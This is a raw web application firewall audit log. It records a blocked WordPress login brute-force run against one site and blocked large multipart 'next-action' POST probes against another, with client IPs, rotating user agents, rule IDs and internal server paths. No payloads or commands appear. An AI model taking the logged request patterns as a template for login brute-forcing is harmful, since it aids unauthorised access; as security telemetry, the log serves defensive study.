Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314018784088 1652 (- - -)
Stopwatch2: 1789314018784088 1652; combined=586, p1=264, p2=62, p3=0, p4=0, p5=259, sr=125, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fc48e404-Z--

--0d52b94a-A--
[13/Sep/2026:18:40:19.174387 +0300] aqbD4-ut1GUrjaX0wO452wAAAMo 134.185.87.66 33872 127.0.0.1 7081
--0d52b94a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 85
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--0d52b94a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--0d52b94a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314019172788 1664 (- - -)
Stopwatch2: 1789314019172788 1664; combined=543, p1=231, p2=69, p3=0, p4=0, p5=243, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0d52b94a-Z--

--86d60930-A--
[13/Sep/2026:18:40:19.565861 +0300] aqbD40hjHs68UzErry1K9QAAAJE 134.185.87.66 33884 127.0.0.1 7081
--86d60930-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 84
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--86d60930-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--86d60930-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314019563997 1927 (- - -)
Stopwatch2: 1789314019563997 1927; combined=682, p1=313, p2=91, p3=0, p4=0, p5=278, sr=161, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--86d60930-Z--

--cf9aac42-A--
[13/Sep/2026:18:40:19.970803 +0300] aqbD4-ut1GUrjaX0wO453QAAAMQ 134.185.87.66 33902 127.0.0.1 7081
--cf9aac42-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 87
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--cf9aac42-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--cf9aac42-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314019968930 1935 (- - -)
Stopwatch2: 1789314019968930 1935; combined=662, p1=238, p2=93, p3=0, p4=0, p5=330, sr=97, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--cf9aac42-Z--

--e682a61e-A--
[13/Sep/2026:18:40:20.353603 +0300] aqbD5Put1GUrjaX0wO453gAAAMw 134.185.87.66 33924 127.0.0.1 7081
--e682a61e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--e682a61e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--e682a61e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314020351807 1886 (- - -)
Stopwatch2: 1789314020351807 1886; combined=619, p1=257, p2=73, p3=0, p4=0, p5=288, sr=101, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e682a61e-Z--

--02b5b96f-A--
[13/Sep/2026:18:40:20.770280 +0300] aqbD5Put1GUrjaX0wO453wAAAM4 134.185.87.66 33942 127.0.0.1 7081
--02b5b96f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--02b5b96f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--02b5b96f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314020768803 1530 (- - -)
Stopwatch2: 1789314020768803 1530; combined=478, p1=220, p2=58, p3=0, p4=0, p5=200, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--02b5b96f-Z--

--0d3c8b4d-A--
[13/Sep/2026:18:40:21.185989 +0300] aqbD5UhjHs68UzErry1K@gAAAIg 134.185.87.66 33964 127.0.0.1 7081
--0d3c8b4d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--0d3c8b4d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--0d3c8b4d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314021184060 1985 (- - -)
Stopwatch2: 1789314021184060 1985; combined=680, p1=282, p2=86, p3=0, p4=0, p5=311, sr=141, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0d3c8b4d-Z--

--62a48f25-A--
[13/Sep/2026:18:40:21.603078 +0300] aqbD5UhjHs68UzErry1K-AAAAI8 134.185.87.66 33978 127.0.0.1 7081
--62a48f25-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--62a48f25-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--62a48f25-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314021601165 1969 (- - -)
Stopwatch2: 1789314021601165 1969; combined=659, p1=315, p2=111, p3=0, p4=0, p5=233, sr=140, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--62a48f25-Z--

--609a2f5d-A--
[13/Sep/2026:18:40:22.014262 +0300] aqbD5khjHs68UzErry1K-gAAAIw 134.185.87.66 33990 127.0.0.1 7081
--609a2f5d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 85
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--609a2f5d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--609a2f5d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314022012654 1675 (- - -)
Stopwatch2: 1789314022012654 1675; combined=530, p1=225, p2=66, p3=0, p4=0, p5=239, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--609a2f5d-Z--

--f6071d09-A--
[13/Sep/2026:18:40:22.416465 +0300] aqbD5vut1GUrjaX0wO454QAAAMs 134.185.87.66 34004 127.0.0.1 7081
--f6071d09-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--f6071d09-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f6071d09-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314022414663 1863 (- - -)
Stopwatch2: 1789314022414663 1863; combined=622, p1=256, p2=73, p3=0, p4=0, p5=293, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f6071d09-Z--

--b6dc560d-A--
[13/Sep/2026:18:40:22.806256 +0300] aqbD5vut1GUrjaX0wO454wAAAMI 134.185.87.66 34020 127.0.0.1 7081
--b6dc560d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 84
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--b6dc560d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--b6dc560d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314022804651 1660 (- - -)
Stopwatch2: 1789314022804651 1660; combined=538, p1=249, p2=63, p3=0, p4=0, p5=226, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b6dc560d-Z--

--4ba13d5d-A--
[13/Sep/2026:18:43:50.320998 +0300] aqbEtkhjHs68UzErry1LEAAAAIo 138.197.17.142 34518 127.0.0.1 7081
--4ba13d5d-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 14444
sec-ch-ua: "Google Chrome";v="144", "Chromium";v="144", "Not(A:Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
next-action: f2492b7757f605b156db6c95ae4fa7fc5a87a0c3
content-type: multipart/form-data; boundary=geckopart6c1c8ee2d6445af66f730297110e0140

--4ba13d5d-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4ba13d5d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314230225129 95945 (- - -)
Stopwatch2: 1789314230225129 95945; combined=5605, p1=366, p2=4981, p3=0, p4=0, p5=258, sr=103, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4ba13d5d-Z--

--c3c35808-A--
[13/Sep/2026:18:43:50.535224 +0300] aqbEtkhjHs68UzErry1LEQAAAIQ 138.197.17.142 34528 127.0.0.1 7081
--c3c35808-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 7350
sec-ch-ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
next-action: 4e77f1a9d6c12c5d9c762b13972b9f5d83a25a1a
content-type: multipart/form-data; boundary=geckopartbe71bc2f94980302e84010ec84dd43ed
content-encoding: gzip

--c3c35808-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c3c35808-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314230457235 78068 (- - -)
Stopwatch2: 1789314230457235 78068; combined=7855, p1=440, p2=7151, p3=0, p4=0, p5=264, sr=132, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c3c35808-Z--

--ff644a47-A--
[13/Sep/2026:18:43:50.765720 +0300] aqbEtkhjHs68UzErry1LEgAAAIE 138.197.17.142 34542 127.0.0.1 7081
--ff644a47-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 14503
sec-ch-ua: "Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
next-action: df646d2a80c275ef0e938fce0a6e002b74169c0b
content-type: multipart/form-data; boundary=boundary5fd9dc849f8ff197292ecdeff7d56302

--ff644a47-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ff644a47-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314230700107 65707 (- - -)
Stopwatch2: 1789314230700107 65707; combined=5384, p1=515, p2=4580, p3=0, p4=0, p5=289, sr=122, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ff644a47-Z--

--62c67d46-A--
[13/Sep/2026:18:43:51.403228 +0300] aqbEt-ut1GUrjaX0wO46PgAAAMQ 138.197.17.142 34558 127.0.0.1 7081
--62c67d46-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 30484
sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
next-action: 9fcac9816a7a4e5b9db03e36116d60ca3dab2e6b
content-type: multipart/form-data; boundary=WebKitFormBoundaryd33ec5e38a8f11afa5ef4e77111a4bfa

--62c67d46-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--62c67d46-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314231322249 81056 (- - -)
Stopwatch2: 1789314231322249 81056; combined=5465, p1=279, p2=4919, p3=0, p4=0, p5=267, sr=102, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--62c67d46-Z--

--ad82c047-A--
[13/Sep/2026:18:43:51.869345 +0300] aqbEt0hjHs68UzErry1LEwAAAIg 138.197.17.142 34560 127.0.0.1 7081
--ad82c047-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 47347
sec-ch-ua: "Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
next-action: b3ca4f2ae79adc9aa23ef11b409dd588e3a936cb
content-type: multipart/form-data; boundary=WebKitFormBoundarye171ff778f46d1c6d94011bcff5b7b13

--ad82c047-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ad82c047-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314231778282 91149 (- - -)
